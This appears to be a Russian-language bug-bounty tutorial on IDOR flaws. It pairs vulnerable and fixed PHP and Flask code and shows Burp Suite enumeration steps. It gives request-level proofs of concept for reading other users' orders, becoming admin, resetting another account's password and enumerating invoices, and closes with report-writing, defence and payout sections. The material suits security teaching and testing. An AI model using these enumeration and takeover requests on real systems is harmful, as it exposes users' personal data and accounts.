Одна из самых недооценённых уязвимостей в вебе. Не нужен эксплойт, не нужна социальная инженерия. Нужно просто поменять одну цифру в адресной строке.
IDOR (Insecure Direct Object Reference) — уязвимость контроля доступа, при которой приложение использует пользовательский ввод для прямого обращения к объектам базы данных без проверки прав. Ты вошёл как user_id=1, но сервер отдаёт данные для любого user_id, который ты передашь. Смена одной цифры — и ты читаешь чужие сообщения, заказы, медкарты, банковские данные.
В 2026 году IDOR остаётся одним из самых частых векторов в Bug Bounty: в мессенджере Max белые хакеры нашли свыше 200 уязвимостей, и самым частым вектором оказался именно IDOR — доступ к чужим чатам, файлам и сообщениям через подмену идентификаторов.
🧬 Анатомия уязвимости: почему это работает
Классический сценарий — профиль пользователя по ID:
|
1 2 |
https://target.com/profile?user_id=1337 ← ты https://target.com/profile?user_id=1338 ← другой пользователь |
Сервер получает user_id=1338, делает запрос в базу данных и возвращает данные этого пользователя. Если нет проверки — отдаёт всё. Вот как выглядит уязвимый и защищённый код:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
// ❌ УЯЗВИМЫЙ — берёт ID напрямую из запроса: $user_id = $_GET['user_id']; $user = $db->query("SELECT * FROM users WHERE id = $user_id"); echo json_encode($user); // ✅ ЗАЩИЩЁННЫЙ — проверяет, совпадает ли ID с сессией: $user_id = $_GET['user_id']; $session_user = $_SESSION['user_id']; if ($user_id != $session_user) { http_response_code(403); die("Access denied"); } $user = $db->query("SELECT * FROM users WHERE id = ?", [$user_id]); echo json_encode($user); |
В Python/Flask:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# ❌ Уязвимо: @app.route("/api/users/<int:user_id>/profile") def get_profile(user_id): profile = db.session.get(UserProfile, user_id) return jsonify(profile.to_dict()) # ✅ Защищено: @app.route("/api/users/<int:user_id>/profile") @login_required def get_profile(user_id): if current_user.id != user_id: abort(403) profile = db.session.get(UserProfile, user_id) return jsonify(profile.to_dict()) |
🗺️ Типы IDOR: где прячется уязвимость
IDOR — не только ?id=1 в URL. Это целый класс:
1. URL-параметры
|
1 2 3 4 5 |
GET /profile?user_id=1337 GET /invoice?order_id=4892 GET /document?file_id=2201 GET /api/tickets/5543 GET /admin/users/delete?id=42 |
2. Тело POST/PUT-запроса
|
1 2 3 4 5 6 7 |
POST /api/update-profile HTTP/1.1 Content-Type: application/json { "user_id": 1337, ← меняем на чужой ID "email": "hacker@evil.com" } |
3. HTTP-заголовки
|
1 2 3 |
GET /api/messages HTTP/1.1 X-User-ID: 1337 ← параметр в заголовке Account-Id: 9182 |
4. Скрытые поля и cookie
|
1 2 3 4 5 |
<!-- Скрытое поле в форме: --> <input type="hidden" name="account_id" value="1337"> <!-- Cookie с ID: --> Cookie: user_id=1337; session=abc123 |
5. API-эндпоинты
|
1 2 3 4 |
GET /api/v1/users/1337/messages GET /api/v1/orders/88291/receipt DELETE /api/v1/posts/441 PUT /api/v1/accounts/1337/settings |
🔍 Методология поиска: Burp Suite как основной инструмент
Burp Suite — твой главный союзник при охоте на IDOR:
Шаг 1: Перехват и маппинг запросов
|
1 2 3 4 5 6 7 8 |
1. Запустить Burp Suite → Proxy → Intercept ON 2. Пройтись по всему приложению как обычный пользователь: - Открыть профиль - Посмотреть заказы - Открыть сообщения - Скачать документы - Изменить настройки 3. Burp History → искать все запросы с числовыми ID |
Регулярное выражение для поиска ID-параметров в Burp:
|
1 |
(id|uid|user_id|account|order|doc|file|record|ticket)=\d+ |
Шаг 2: Burp Intruder — автоматический перебор
|
1 2 3 4 5 6 7 8 9 10 |
1. Поймать запрос с ID 2. Правый клик → Send to Intruder (Ctrl+I) 3. Вкладка Positions → выделить значение ID → Add § 4. Вкладка Payloads: - Payload type: Numbers - From: 1, To: 10000, Step: 1 5. Start Attack 6. Сортировать результаты по длине ответа: - Одинаковая длина = нет данных или одна и та же ошибка - Разная длина = разные данные у разных пользователей = IDOR! |
Шаг 3: Autorize — расширение для автоматической проверки
Это обязательное расширение для охоты на IDOR:
|
1 2 3 4 5 6 7 |
1. Burp → Extensions → BApp Store → Autorize → Install 2. Войти под User A → скопировать Cookie/Token в Autorize 3. Войти под User B и работать нормально 4. Autorize автоматически повторяет каждый запрос с токеном User A 5. Зелёный = запрос прошёл = IDOR Красный = 403/401 = защита работает Жёлтый = неопределённо = проверить вручную |
💥 Реальные сценарии и PoC
Сценарий 1: Горизонтальное повышение привилегий (читать чужие данные)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# Запрос от User A (ID=1337) к своим данным: GET /api/orders/88291 HTTP/1.1 Authorization: Bearer eyJhbGciOiJIUzI1NiJ9... # Меняем ID на чужой: GET /api/orders/88292 HTTP/1.1 Authorization: Bearer eyJhbGciOiJIUzI1NiJ9... # Получаем чужой заказ с адресом доставки, телефоном, email: HTTP/1.1 200 OK { "order_id": 88292, "user_id": 1338, "name": "Иван Петров", "address": "ул. Ленина, 42", "phone": "+7 912 345-67-89" } |
Сценарий 2: Вертикальное повышение привилегий (стать админом)
|
1 2 3 4 5 6 7 8 9 |
# Обычный пользователь меняет свой профиль: PUT /api/users/1337/role HTTP/1.1 {"role": "user"} # Меняем role на admin: PUT /api/users/1337/role HTTP/1.1 {"role": "admin"} # Если нет проверки — ты теперь администратор 🎉 |
Сценарий 3: Захват аккаунта через IDOR в сбросе пароля
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# Запрос сброса пароля: POST /api/reset-password HTTP/1.1 { "user_id": 1337, "new_password": "MyNewPass123!" } # Меняем user_id — сбрасываем пароль чужого аккаунта: POST /api/reset-password HTTP/1.1 { "user_id": 1, ← ID администратора "new_password": "hacked!" } |
Сценарий 4: IDOR в файлах и документах
|
1 2 3 4 5 6 7 8 9 10 |
# Скачать свой счёт: GET /invoices/download?file=invoice_1337.pdf # Перебрать чужие: GET /invoices/download?file=invoice_1338.pdf GET /invoices/download?file=invoice_1339.pdf # Или через path traversal + IDOR: GET /files/user_1337/contract.pdf GET /files/user_1338/contract.pdf |
🤖 IDOR в API: особый случай
Современные API — золотая жила для IDOR. Разработчики часто защищают веб-интерфейс, забывая про API:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
# Перехватываем запросы мобильного приложения через Burp: # Настроить сертификат Burp как доверенный на телефоне # Весь трафик через Burp Proxy # Типичные API-эндпоинты для проверки: GET /api/v1/users/{id} GET /api/v1/users/{id}/messages GET /api/v1/users/{id}/documents DELETE /api/v1/users/{id} GET /api/v2/accounts/{account_id}/transactions POST /api/v1/admin/users/{id}/permissions ← вертикальный IDOR # Часто ID скрыт в JWT-токене — декодируй и проверь: # https://jwt.io # Если user_id в payload — попробуй изменить и переподписать |
🔎 Где искать IDOR: чеклист охотника
|
1 2 3 4 5 6 7 8 9 10 11 |
✅ Параметры в URL: ?id=, ?user=, ?account=, ?doc=, ?order= ✅ Числа в пути: /users/1337, /orders/8829, /files/doc_42 ✅ UUID вместо цифр — тоже проверяй (predictable UUIDs бывают) ✅ Тело POST/PUT/PATCH запросов — скрытые поля с ID ✅ HTTP-заголовки: X-User-ID, Account-Id, X-Resource-Id ✅ Cookie — иногда user_id хранится там ✅ GraphQL — проверяй все query с аргументами типа id ✅ Функции: скачать файл, просмотреть инвойс, изменить email, сбросить пароль, удалить аккаунт, просмотреть историю ✅ API мобильного приложения — часто менее защищено ✅ Старые версии API: /api/v1/ vs /api/v2/ |
📝 Как написать Bug Bounty репорт по IDOR
IDOR — одна из самых выгодных находок в Bug Bounty. Правильный репорт умножает выплату:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
## Заголовок IDOR в /api/v1/users/{id}/profile позволяет читать данные любого пользователя ## Серьёзность Critical (CVSS 9.1) — неаутентифицированный доступ к PII ## Описание Endpoint /api/v1/users/{id}/profile не проверяет, совпадает ли {id} с ID авторизованного пользователя. ## Шаги воспроизведения 1. Войти как User A (id=1337) 2. GET /api/v1/users/1337/profile → 200, свои данные ✓ 3. Изменить id на 1338: GET /api/v1/users/1338/profile 4. Сервер возвращает данные User B без ошибки ## Доказательство (PoC) [Скриншот запроса и ответа из Burp Suite] ## Влияние Атакующий может читать email, телефон, адрес, платёжные данные любого из N миллионов пользователей. ## Рекомендация по исправлению Добавить проверку: if (request.user.id != id) return 403; |
🛡️ Защита: как закрыть IDOR навсегда
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
# 1. Всегда проверяй авторизацию на уровне данных: if current_user.id != requested_user_id: return 403 # 2. Используй indirect references — маппинг вместо прямых ID: session['order_map'] = {'abc123': real_order_id_88291} # Пользователь видит abc123, а не 88291 # 3. UUID вместо последовательных ID: # /orders/550e8400-e29b-41d4-a716-446655440000 # Сложнее угадать, но всё равно требует авторизацию! # 4. Логируй все запросы к чужим объектам: if user_id != session_user_id: log.warning(f"IDOR attempt: {session_user_id} → {user_id}") return 403 # 5. Rate limiting — замедляй перебор: @ratelimit(limit=10, per=60) # 10 запросов в минуту def get_profile(user_id): ... |
🏆 IDOR на реальных платформах: цена находки
| Программа | Тип IDOR | Выплата |
|---|---|---|
| HackerOne (топ) | Account takeover via IDOR | $10 000 – $50 000 |
| Bugcrowd (средний) | IDOR в просмотре данных | $500 – $5 000 |
| Standoff365 (Max) | Доступ к чужим чатам | до 500 000 ₽ |
| Яндекс Bug Bounty | IDOR в API | 30 000 – 150 000 ₽ |
💣 Итог: IDOR — это не хайтек. Это провал в самом базовом: сервер не спросил «а ты точно имеешь право смотреть это?». Одна проверка прав доступа на бэкенде закрывает уязвимость. Но разработчики забывают об этом снова и снова — именно поэтому IDOR занимает топ Bug Bounty выплат каждый год. Учи искать, учи находить, учи грамотно репортить.



